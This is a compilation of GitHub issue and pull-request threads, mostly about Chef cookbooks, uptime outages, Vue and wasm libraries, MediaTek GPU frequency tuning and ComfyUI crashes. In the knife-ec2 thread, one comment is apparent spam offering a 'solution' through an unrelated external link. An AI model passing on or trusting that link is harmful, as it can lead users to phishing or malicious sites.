text:
Update to di-ruby-lvm-attrib 0.0.27

Description
Update to di-ruby-lvm-attrib 0.0.27. 0.0.26 is lacking the metadata needed on Ubuntu 16.04.
Issues Resolved
#105
Check List

[x] All tests pass. See https://github.com/chef-cookbooks/community_cookbook_documentation/blob/master/TESTING.MD

thin tests are failing due to a different issue. non-thin tests pass.

[x] All commits have been signed for the Developer Certificate of Origin. See https://github.com/chef-cookbooks/community_cookbook_documentation/blob/master/CONTRIBUTING.MD

Thanks

source: gharchive/pull-request

repo: chef-cookbooks/lvm

license_type: permissive

license_source: bigquery


text:
ERROR -- : Actor crashed! Encoding::InvalidByteSequenceError: "\xE2" on US-ASCII

When I try to run berks install with my cookbook I get an issue for one of the depended cookbooks.
I use the latest Chef DK client and use the DK enviroment as my default ruby.
Fetching cookbook index from https://supermarket.getchef.com...
Installing apt (2.6.1)
Installing hostsfile (2.4.5)
Installing ntp (1.7.0)
Installing smf (2.2.1)
Installing mysql (6.0.6)
Installing cron (1.6.1)
Installing rbac (1.0.2)
Using superkul_base (0.1.0) from source at ../superkul_base
Using superkul_simple-lamp (0.1.0) from source at .
Installing system (0.3.3)
Installing yum (3.5.2)
Installing yum-mysql-community (0.1.11)
E, [2015-01-13T11:34:13.430919 #3902] ERROR -- : Actor crashed!
Encoding::InvalidByteSequenceError: "\xE2" on US-ASCII
/opt/chefdk/embedded/lib/ruby/2.1.0/json/common.rb:155:in encode' 	/opt/chefdk/embedded/lib/ruby/2.1.0/json/common.rb:155:in initialize'
/opt/chefdk/embedded/lib/ruby/2.1.0/json/common.rb:155:in new' 	/opt/chefdk/embedded/lib/ruby/2.1.0/json/common.rb:155:in parse'
/opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/ridley-4.1.0/lib/ridley/chef/cookbook/metadata.rb:458:in from_json' 	/opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/ridley-4.1.0/lib/ridley/chef/cookbook/metadata.rb:29:in from_json'
/opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/ridley-4.1.0/lib/ridley/chef/cookbook.rb:36:in from_path' 	/opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/cached_cookbook.rb:15:in from_store_path'
/opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/cookbook_store.rb:86:in cookbook' 	/opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/cookbook_store.rb:67:in import'
/opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/cookbook_store.rb:30:in import' 	/opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/installer.rb:106:in block in install'
/opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/downloader.rb:38:in block in download' 	/opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/downloader.rb:35:in each'
/opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/downloader.rb:35:in download' 	/opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/installer.rb:105:in install'
/opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/calls.rb:26:in public_send' 	/opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/calls.rb:26:in dispatch'
/opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/calls.rb:63:in dispatch' 	/opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/cell.rb:60:in block in invoke'
/opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/cell.rb:71:in block in task' 	/opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/actor.rb:357:in block in task'
/opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/tasks.rb:57:in block in initialize' 	/opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/tasks/task_fiber.rb:15:in block in create'
/opt/chefdk/embedded/lib/ruby/2.1.0/json/common.rb:155:in encode': "\xE2" on US-ASCII (Encoding::InvalidByteSequenceError) 	from /opt/chefdk/embedded/lib/ruby/2.1.0/json/common.rb:155:in initialize'
from /opt/chefdk/embedded/lib/ruby/2.1.0/json/common.rb:155:in new' 	from /opt/chefdk/embedded/lib/ruby/2.1.0/json/common.rb:155:in parse'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/ridley-4.1.0/lib/ridley/chef/cookbook/metadata.rb:458:in from_json' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/ridley-4.1.0/lib/ridley/chef/cookbook/metadata.rb:29:in from_json'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/ridley-4.1.0/lib/ridley/chef/cookbook.rb:36:in from_path' 	from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/cached_cookbook.rb:15:in from_store_path'
from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/cookbook_store.rb:86:in cookbook' 	from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/cookbook_store.rb:67:in import'
from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/cookbook_store.rb:30:in import' 	from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/installer.rb:106:in block in install'
from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/downloader.rb:38:in block in download' 	from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/downloader.rb:35:in each'
from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/downloader.rb:35:in download' 	from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/installer.rb:105:in install'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/calls.rb:26:in public_send' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/calls.rb:26:in dispatch'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/calls.rb:63:in dispatch' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/cell.rb:60:in block in invoke'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/cell.rb:71:in block in task' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/actor.rb:357:in block in task'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/tasks.rb:57:in block in initialize' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/tasks/task_fiber.rb:15:in block in create'
from (celluloid):0:in remote procedure call' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/calls.rb:92:in value'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/proxies/sync_proxy.rb:33:in method_missing' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/proxies/cell_proxy.rb:17:in send'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/pool_manager.rb:41:in _send_' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/pool_manager.rb:140:in method_missing'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/calls.rb:26:in public_send' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/calls.rb:26:in dispatch'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/calls.rb:63:in dispatch' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/cell.rb:60:in block in invoke'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/cell.rb:71:in block in task' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/actor.rb:357:in block in task'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/tasks.rb:57:in block in initialize' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/tasks/task_fiber.rb:15:in block in create'
from (celluloid):0:in remote procedure call' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/future.rb:104:in value'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/celluloid-0.16.0/lib/celluloid/future.rb:68:in value' 	from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/installer.rb:175:in map'
from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/installer.rb:175:in install_from_universe' 	from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/installer.rb:39:in run'
from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/berksfile.rb:370:in install' 	from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/cli.rb:143:in install'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/thor-0.19.1/lib/thor/command.rb:27:in run' 	from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/thor-0.19.1/lib/thor/invocation.rb:126:in invoke_command'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/thor-0.19.1/lib/thor.rb:359:in dispatch' 	from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/cli.rb:52:in dispatch'
from /opt/chefdk/embedded/lib/ruby/gems/2.1.0/gems/thor-0.19.1/lib/thor/base.rb:440:in start' 	from /opt/chefdk/embedded/apps/berkshelf/lib/berkshelf/cli.rb:27:in execute!'
from /opt/chefdk/embedded/apps/berkshelf/bin/berks:5:in <top (required)>' 	from /opt/chefdk/bin/berks:38:in load'
from /opt/chefdk/bin/berks:38:in `'

This smells like a Chef / ChefDK bug to me...
At first glance, it looks like its choking on yum-mysql-community...
At second glance, I can't reproduce this at all on either cookbook.
Can you put the exact version of your OS, ChefDK, etc in here so we can gather more info?

Cannot reproduce.. closing for now.

source: gharchive/issue

authors: eriksenonline someara

repo: chef-cookbooks/mysql


text:
Show the report generation status

User Story
As an Automate User, I should be able to view the report generation status of a report.
The report status can be in process, failed, successful
Acceptance Criteria
Implementation Details
UI Design
Definition of Done

All things specified in User Story Acceptance Criteria should be fulfilled.
UI should exactly match UX design.
Cypress Coverage for new Feature.
All Exceptions are Handled Properly
Ensure logs have no unnecessary data.
Test coverage for new feature is done to at-least 70%.
Docs changes PR is Raised.
Swagger Documentation updated.
Smoke Test done.
Ensure Build and Integration Pipelines are Green.
PR has 2 approvers.
All Code Review Comments are Resolved.
Screen shot of the feature developed is provided in the issue.
Ensure compatibility with all supporting browser.
Demo the feature to UX.
Link to the UX wireframe/Requirement Document.

This issue is part of epic #6059. It is done and its PR#6255 got merged. This issue is covered in the sprint: Nov-18 to Dec-1.

authors: Venkatesh-rengasamy kalroy

repo: chef/automate

license_source: github-api


text:
Support for EBS volume encryption in knife-ec2 server create options?

I see that support for GP2 EBS volumes was added (the wiki needs to be updated), but I was wondering if there was support, or a workaround, to take advantage of AWS EBS Volume Encryption in the knife ec2 server create?

@rfackett -
Hey, we are looking into this...

@siddheshwar-more thank you, any potential work-around in the mean time?

@rfackett
FYI -
Actually knife-ec2 uses fog lib to deal with AWS. And we found fog  has support for encrypted ebs volume. So, currently we are working on this feature.

@siddheshwar-more thanks for following up.  Do you have an ETA on when this will be supported?

@rfackett  We have included option for EBS volume encryption please refer this patch https://github.com/chef/knife-ec2/pull/280. Could you please try and let us know the results ?

@kaustubh-d Thanks for your commit! I'm not the OP, but I'm trying it out. I'm finding that when I say knife ec2 server create --ebs-encrypted ... I get timeout errors from fog, but the instances come up quickly if I leave off the new option. Did you encounter that? It doesn't seem too surprising. How did you work around it?

@pjungwir Could you please let us know the command that you are trying ?

It was something like this:
knife ec2 server create -I ami-xxxx -f m3.medium -Z us-east-1b -E staging -r 'role[web]' --server-connect-attribute private_ip_address --ssh-user ubuntu --ssh-gateway ec2-user@bastion.example.com --identity-file ~/src/example/doc/it/aws/pjungwir.pem -S pjungwir --subnet subnet-xxxx -g sg-xxxx -N staging-web-1 --iam-profile staging-web --region us-east-1 --ebs-encrypted
I think the extra time to provision an encrypted volume might be unavoidable. My current workaround is to use the aws_ebs_volume resource in a recipe (from the aws cookbook), and I have to pass that a timeout attribute there because with its default it often times out too. So adding an option to ec2 server create to extend the timeout waiting for an instance might be nice.

@pjungwir -
In your case, the Fog Timeout error is because of missing --ebs-size option
So, In #299 I've added validation for --ebs-size and --ebs-encrypted combo. And also added new option called --aws-connection-timeout MINUTES for aws API connection timeout.
Normally default  --aws-connection-timeout i.e 10 min is enough for knife ec2 server create . This option is only helpful when AWS is slow and taking more than 10 min time to create server.

@pjungwir have you tried it with --ebs-size option

Hello,
I think I've found the solution to your problem at last, read it here please http://jefrinkishe.jobrackassociates.com/oihdmp
Bests, hebgb@blueyonder.co.uk

authors: Vasu1105 gbish kaustubh-d pjungwir rfackett siddheshwar-more


text:
Fix broken builds

Builds are broken because OMNIBUS_WINDOWS_ARCH is not set,
so ENV[OMNIBUS_WINDOWS_ARCH] returns nil

:shipit:

good catch, ill take this time to fix that

authors: jaym schisamo

repo: chef/omnibus-chef


text:
Implement the botten of action

Make sure you implement the button of action using different CSS colors

All the observations mentioned in the above comments have been implemented.
Thank you

authors: Ellyboi chelobotix

repo: chelobotix/Portafolio-Website

license: MIT


text:
Multiple issues trying to run the example

In trying to run the example I encountered multiple issues.

Recent versions of the nightly compiler won't work due to link issues. See this issue. You can fix this by using a slightly older compiler, e.g. nightly-2021-03-01.
Using build_wasm.sh is very confusing because it invokes wasm-bindgen. Installing wasm-bindgen is confusing and not even recommended according to the wasm-bindgen guide. build_wasm.sh should instead use wasm-pack.
The example would be much more useful if it was a standalone directory with its own Cargo.toml, lib.rs, build_wasm.sh, index.html, etc. Running cargo run --example simple is fine but as soon as I want to actually use wasm_thread in my own project I suddenly have to figure out what I need in my Cargo.toml, which .js files I need, where to put my .html file, etc.

So essentially my proposal is to (1) switch to an older compiler version, (2) switch to wasm-pack and (3) create a standalone example that can easily be extracted and built without locally linking to wasm_thread.

Sorry for the late response (lost the notification).
I was about to fix issues that you mentioned, but it seems that this library is made kind of obsolete with https://github.com/GoogleChromeLabs/wasm-bindgen-rayon, which has active development and better documentation.

@chemicstry Thanks. Looks like we'll get multithreaded Rust in the browser soon enough.


text:
JSMol when toggeling between molecules

When different structural models are selected, the 3D display does not sync to display the correct model. Instead, it just keeps showing the active vibration of the previous model. Likewise, the previously active vibration of the selected model is lost when that model is returned to. I suggest caching the most recent vibration and resetting the model to that when the structure is returned to.

Fixed

authors: kjappelbaum lpatiny

repo: cheminfo-py/ir-teaching-app


text:
新增 countCharacters.js, 计算字符串中每个字符的出现次数

新增 countCharacters.js, 计算字符串中每个字符的出现次数
增加单元测试 countCharacters.test.js

收到~

repo: chenbimo/yidash


text:
🛑 Homepage is down

In 5051474, Homepage (https://larrychen.tech) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Homepage is back up in c30c5c7.

repo: chendachao/uptime


text:
🛑 tt is down

In e2587ee, tt (https://telebot-app-serverless-i7z8-chenhaonanniubi.vercel.app/checkhealth) was down:

HTTP code: 500
Response time: 1677 ms

Resolved: tt is back up in 946ea53 after 192 days, 1 hours, 44 minutes.

repo: chenhaonanniubi/upptime


text:
🛑 tt is down

In 7de1ed9, tt (https://telebot-app-serverless-i7z8-chenhaonanniubi.vercel.app/checkhealth) was down:

HTTP code: 500
Response time: 3479 ms

Resolved: tt is back up in f70c13b after 18 minutes.


text:
🛑 tt is down

In ad13cf9, tt (https://telebot-app-serverless-i7z8-chenhaonanniubi.vercel.app/checkhealth) was down:

HTTP code: 500
Response time: 2422 ms

Resolved: tt is back up in 91bc82c after 17 minutes.


text:
🛑 tt is down

In c6e6ec3, tt (https://telebot-app-serverless-i7z8-chenhaonanniubi.vercel.app/checkhealth) was down:

HTTP code: 500
Response time: 2696 ms

Resolved: tt is back up in 1a45901 after 49 minutes.


text:
🛑 tt is down

In a5631d4, tt (https://telebot-app-serverless-i7z8-chenhaonanniubi.vercel.app/checkhealth) was down:

HTTP code: 500
Response time: 3394 ms

Resolved: tt is back up in e642a53 after 50 minutes.


text:
🛑 tt is down

In 3f6351e, tt (https://telebot-app-serverless-i7z8-chenhaonanniubi.vercel.app/checkhealth) was down:

HTTP code: 504
Response time: 10169 ms

Resolved: tt is back up in d95df36 after 27 minutes.


text:
新手疑问

我在项目里引用了之后，也没有报错，但是这是怎么回事呢？

请说一下vue的版本吧，我估计可能是vue的这个bughttps://github.com/vuejs/vue/issues/4581

我用的vue版本号是2.1.0，是太旧了吗？

我自己的测试环境是：
"vue": "^2.1.6",
"vue-loader": "^10.0.2",
"vue-template-compiler": "^2.1.6",

package.json里改成上面的配置，你再试一下
vue官方的issue里确实出现过slot渲染出undefined的问题，我自己暂未碰到，我会再测一下

我已经把package.json里的配置改成您说的那样了，还是看到了里面有undefined，我今天有时间的话再仔细看看，有什么进展再来说一下

估计是npm上的版本的问题，出现同样的状况。然后git clone，在npm run package出来的文件覆盖node_modules中的文件，问题解决

组件很多都是听漂亮的，除了这个select标签，这个如果做的效果也漂亮点的话，就果断上vue-blu了，希望作者做些修改

@syifeng  第一版还没有来得把这些做全。下一步的计划里有select组件、级联组件。相信不会太久就会出来，请保持关注

@chenz24 请问如果只拿UI结合自己spring 项目改怎么做？引入组件和相关的js css scss就行了吗？这样会不会有问题

@Ludejin 最适合在前后端分离的场景下用这套组件。也就是spring做后端提供接口，通过json和前端进行数据交互。

@chenz24 嗯嗯，我也是这样想的，是不是pull下你的src文件夹并放到我项目前端就能正常使用了？我试了几次没出效果，所以想问下这样是不是有问题的，如果没有我再找找原因！

为什么你们发的邮件到我这里了
发自网易邮箱大师
在2017年01月19日 15:18，Jin丶 写道:
@chenz24 嗯嗯，我也是这样想的，是不是pull下你的src文件夹并放到我项目前端就能正常使用了？我试了几次没出效果，所以想问下这样是不是有问题的，如果没有我再找找原因！
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

@lizheng0515  你应该是点了右侧的subscribe了，你取消订阅就可以了

@Ludejin 不清楚你的前端是如何构建的。我说个简单的步骤 你参考下
1.安装 vue-cli
2.用vue-cli生成一个webpack项目
3.在项目中 npm install vue-blu --save
然后按照readme里的quickstart 来搞就可以了。
鉴于这个issue可能会打扰到上面参与的小伙伴们，我会在这个回复后close掉这个issue。有问题可以提新的issue

license: mit


text:
关于对 MediaTek 设备 GPU 频率调节支持

Chenzyyed 您好,非常抱歉又要因为GPU的事打扰您了
我看过 Issue#4 奈何我太废物,能力不够,没法写个脚本或者程序什么的控制 GPU 频率
在看过 Issue#4 后, 我们对联发科设备的GPU频率调节做了一些研究，发现如下：
gpufreq（/proc/gpufreq）

所有文件/操作在 MediaTek Dimensity 1200 和 MediaTek Helio G90T 上测试过

读取当前设备支持的 GPU 频率：文件路径： /proc/gpufreq/gpufreq_opp_dump
这是 MediaTek Dimensity 1200 的gpufreq_opp_dump:
[00] freq = 886000, vgpu = 70000, vsram = 75000, posdiv = 4, gpu_power = 3352, aging = 1875
[01] freq = 879000, vgpu = 68125, vsram = 75000, posdiv = 4, gpu_power = 3252, aging = 1875
[02] freq = 873000, vgpu = 66250, vsram = 75000, posdiv = 4, gpu_power = 3154, aging = 1875
[03] freq = 867000, vgpu = 65000, vsram = 75000, posdiv = 4, gpu_power = 3059, aging = 1875
[04] freq = 861000, vgpu = 63125, vsram = 75000, posdiv = 4, gpu_power = 2996, aging = 1875
[05] freq = 854000, vgpu = 61250, vsram = 75000, posdiv = 4, gpu_power = 2965, aging = 1875
[06] freq = 848000, vgpu = 59375, vsram = 75000, posdiv = 4, gpu_power = 2873, aging = 1875
[07] freq = 842000, vgpu = 57500, vsram = 75000, posdiv = 4, gpu_power = 2813, aging = 1875
[08] freq = 836000, vgpu = 55625, vsram = 75000, posdiv = 4, gpu_power = 2725, aging = 1875
[09] freq = 825000, vgpu = 55625, vsram = 75000, posdiv = 4, gpu_power = 2638, aging = 1875
[10] freq = 815000, vgpu = 55625, vsram = 75000, posdiv = 4, gpu_power = 2581, aging = 1875
[11] freq = 805000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 2498, aging = 1875
[12] freq = 795000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 2416, aging = 1875
[13] freq = 785000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 2336, aging = 1875
[14] freq = 775000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 2309, aging = 1875
[15] freq = 765000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 2232, aging = 1875
[16] freq = 755000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 2156, aging = 1875
[17] freq = 745000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 2082, aging = 1875
[18] freq = 735000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1985, aging = 1875
[19] freq = 725000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1961, aging = 1875
[20] freq = 715000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1892, aging = 1875
[21] freq = 705000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1824, aging = 1250
[22] freq = 695000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1758, aging = 1250
[23] freq = 685000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1735, aging = 1250
[24] freq = 675000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1671, aging = 1250
[25] freq = 654000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1566, aging = 1250
[26] freq = 634000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1485, aging = 1250
[27] freq = 614000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1407, aging = 1250
[28] freq = 593000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1345, aging = 1250
[29] freq = 573000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1271, aging = 1250
[30] freq = 553000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1200, aging = 1250
[31] freq = 532000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1131, aging = 1250
[32] freq = 512000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1074, aging = 625
[33] freq = 492000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 1009, aging = 625
[34] freq = 471000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 946, aging = 625
[35] freq = 451000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 868, aging = 625
[36] freq = 431000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 811, aging = 625
[37] freq = 410000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 777, aging = 625
[38] freq = 390000, vgpu = 55000, vsram = 75000, posdiv = 4, gpu_power = 722, aging = 625
[39] freq = 370000, vgpu = 55000, vsram = 75000, posdiv = 8, gpu_power = 654, aging = 625
[40] freq = 350000, vgpu = 55000, vsram = 75000, posdiv = 8, gpu_power = 604, aging = 625

固定当前设备的 GPU 频率: 文件路径：/proc/gpufreq/gpufreq_opp_freq
这是 MediaTek Dimensity 1200 的 gpufreq_opp_freq
[GPU-DVFS] fixed OPP is enabled

如需固定频率,例如固定在350000khz(无需重启等操作):
[GPU-DVFS] fixed OPP is enabled
[40] freq = 350000, vgpu = 55000, vsram = 75000

此外,调整GPU频率可能需要关闭DVFS(/proc/mail/dvfs_enable)
dvfs_enabled: 1

值为0时禁用DVFS
gpufreqv2

已在 MediaTek Dimensity 8100 上测试过

获取当前设备支持的 GPU 频率 :  proc/gpufreqv2/stack_working_opp_table
这是 MediaTek Dimensity 8100 的 stack_working_opp_table
[00] freq: 852000, volt: 67500, vsram: 75000, posdiv: 2, vaging: 0, power: 1691
[01] freq: 845000, volt: 66875, vsram: 75000, posdiv: 2, vaging: 0, power: 1638
[02] freq: 837000, volt: 66875, vsram: 75000, posdiv: 2, vaging: 0, power: 1622
[03] freq: 830000, volt: 66250, vsram: 75000, posdiv: 2, vaging: 0, power: 1570
[04] freq: 822000, volt: 66250, vsram: 75000, posdiv: 2, vaging: 0, power: 1554
[05] freq: 815000, volt: 65625, vsram: 75000, posdiv: 2, vaging: 0, power: 1520
[06] freq: 807000, volt: 65625, vsram: 75000, posdiv: 2, vaging: 0, power: 1504
[07] freq: 800000, volt: 65000, vsram: 75000, posdiv: 2, vaging: 0, power: 1455
[08] freq: 773000, volt: 65000, vsram: 75000, posdiv: 2, vaging: 0, power: 1410
[09] freq: 747000, volt: 64375, vsram: 75000, posdiv: 2, vaging: 0, power: 1334
[10] freq: 721000, volt: 63750, vsram: 75000, posdiv: 2, vaging: 0, power: 1289
[11] freq: 695000, volt: 63125, vsram: 75000, posdiv: 2, vaging: 0, power: 1202
[12] freq: 668000, volt: 63125, vsram: 75000, posdiv: 2, vaging: 0, power: 1158
[13] freq: 642000, volt: 62500, vsram: 75000, posdiv: 2, vaging: 0, power: 1089
[14] freq: 616000, volt: 61875, vsram: 75000, posdiv: 2, vaging: 0, power: 1022
[15] freq: 590000, volt: 61250, vsram: 75000, posdiv: 2, vaging: 0, power: 958
[16] freq: 572000, volt: 61250, vsram: 75000, posdiv: 2, vaging: 0, power: 931
[17] freq: 555000, volt: 60625, vsram: 75000, posdiv: 2, vaging: 0, power: 883
[18] freq: 538000, volt: 60000, vsram: 75000, posdiv: 2, vaging: 0, power: 856
[19] freq: 521000, volt: 59375, vsram: 75000, posdiv: 2, vaging: 0, power: 810
[20] freq: 504000, volt: 58750, vsram: 75000, posdiv: 2, vaging: 0, power: 766
[21] freq: 487000, volt: 58125, vsram: 75000, posdiv: 2, vaging: 0, power: 723
[22] freq: 470000, volt: 57500, vsram: 75000, posdiv: 2, vaging: 0, power: 681
[23] freq: 453000, volt: 56875, vsram: 75000, posdiv: 2, vaging: 0, power: 641
[24] freq: 436000, volt: 56875, vsram: 75000, posdiv: 2, vaging: 0, power: 618
[25] freq: 419000, volt: 56250, vsram: 75000, posdiv: 2, vaging: 0, power: 595
[26] freq: 402000, volt: 55625, vsram: 75000, posdiv: 2, vaging: 0, power: 557
[27] freq: 385000, volt: 55000, vsram: 75000, posdiv: 2, vaging: 0, power: 521
[28] freq: 368000, volt: 54375, vsram: 75000, posdiv: 3, vaging: 0, power: 487
[29] freq: 351000, volt: 53750, vsram: 75000, posdiv: 3, vaging: 0, power: 453
[30] freq: 334000, volt: 53125, vsram: 75000, posdiv: 3, vaging: 0, power: 421
[31] freq: 317000, volt: 52500, vsram: 75000, posdiv: 3, vaging: 0, power: 401
[32] freq: 304000, volt: 52500, vsram: 75000, posdiv: 3, vaging: 0, power: 381
[33] freq: 292000, volt: 51875, vsram: 75000, posdiv: 3, vaging: 0, power: 362
[34] freq: 280000, volt: 51250, vsram: 75000, posdiv: 3, vaging: 0, power: 342
[35] freq: 268000, volt: 50625, vsram: 75000, posdiv: 3, vaging: 0, power: 315
[36] freq: 255000, volt: 50625, vsram: 75000, posdiv: 3, vaging: 0, power: 306
[37] freq: 243000, volt: 50000, vsram: 75000, posdiv: 3, vaging: 0, power: 280
[38] freq: 231000, volt: 49375, vsram: 75000, posdiv: 3, vaging: 0, power: 263
[39] freq: 219000, volt: 48750, vsram: 75000, posdiv: 3, vaging: 0, power: 246

控制当前设备 GPU 频率: proc/gpufreqv2/fix_custom_freq_volt
这是 MediaTek Dimensity 8100 的 fix_custom_freq_volt
[GPUFREQ-DEBUG] fixed freq and volt are disabled

例如固定在 231000khz
[GPUFREQ-DEBUG] fix freq: 231000 and volt: 49375

以上

V14有计划加入相应功能

V14有计划加入相应功能

好的，感谢您的支持

authors: chenzyyzd naranyinyun

repo: chenzyyzd/CuprumTurbo-Scheduler


text:
feat: Add more did utils

Added two more util methods

createDidPayloadWithSignInputs,
createSignInputsFromKeyPair

@DaevMithran Because this PR is blocking any new merges into develop (as they'll fall into this PR), I'm closing this and spinning it off to #91.
@Eengineer1 How important is this one in terms of merging into main?

authors: DaevMithran ankurdotb

repo: cheqd/sdk


text:
segformer B2 clothes ULTRA使用的是CPU，如何改成GPU？

segformer B2 clothes ULTRA使用的是CPU，如何改成GPU？
CPU批处理效率慢的很，怎么改成显卡GPU处理？

遮罩边缘处理在cpu上运行，目前不能转到gpu


text:
SegmentAnythingUltra_V2崩溃啦，大佬救救

[程序崩溃，退出代码为 3221225620 (0xC0000094)]
以下是对退出代码的分析。这可能不准确，请酌情参考！
系统退出代码名称: INTEGER_DIVIDE_BY_ZERO
系统退出代码描述: {异常} 整数除 0。
崩溃堆栈回溯记录:
Windows fatal exception: int divide by zero
Stack (most recent call first):
File "F:\AI\ComfyUI\custom_nodes\ComfyUI_LayerStyle\py\local_groundingdino\models\GroundingDINO\transformer.py", line 301 in forward
File "F:\AI\ComfyUI\python\lib\site-packages\torch\nn\modules\module.py", line 1541 in _call_impl
File "F:\AI\ComfyUI\python\lib\site-packages\torch\nn\modules\module.py", line 1532 in _wrapped_call_impl
File "F:\AI\ComfyUI\custom_nodes\ComfyUI_LayerStyle\py\local_groundingdino\models\GroundingDINO\groundingdino.py", line 303 in forward
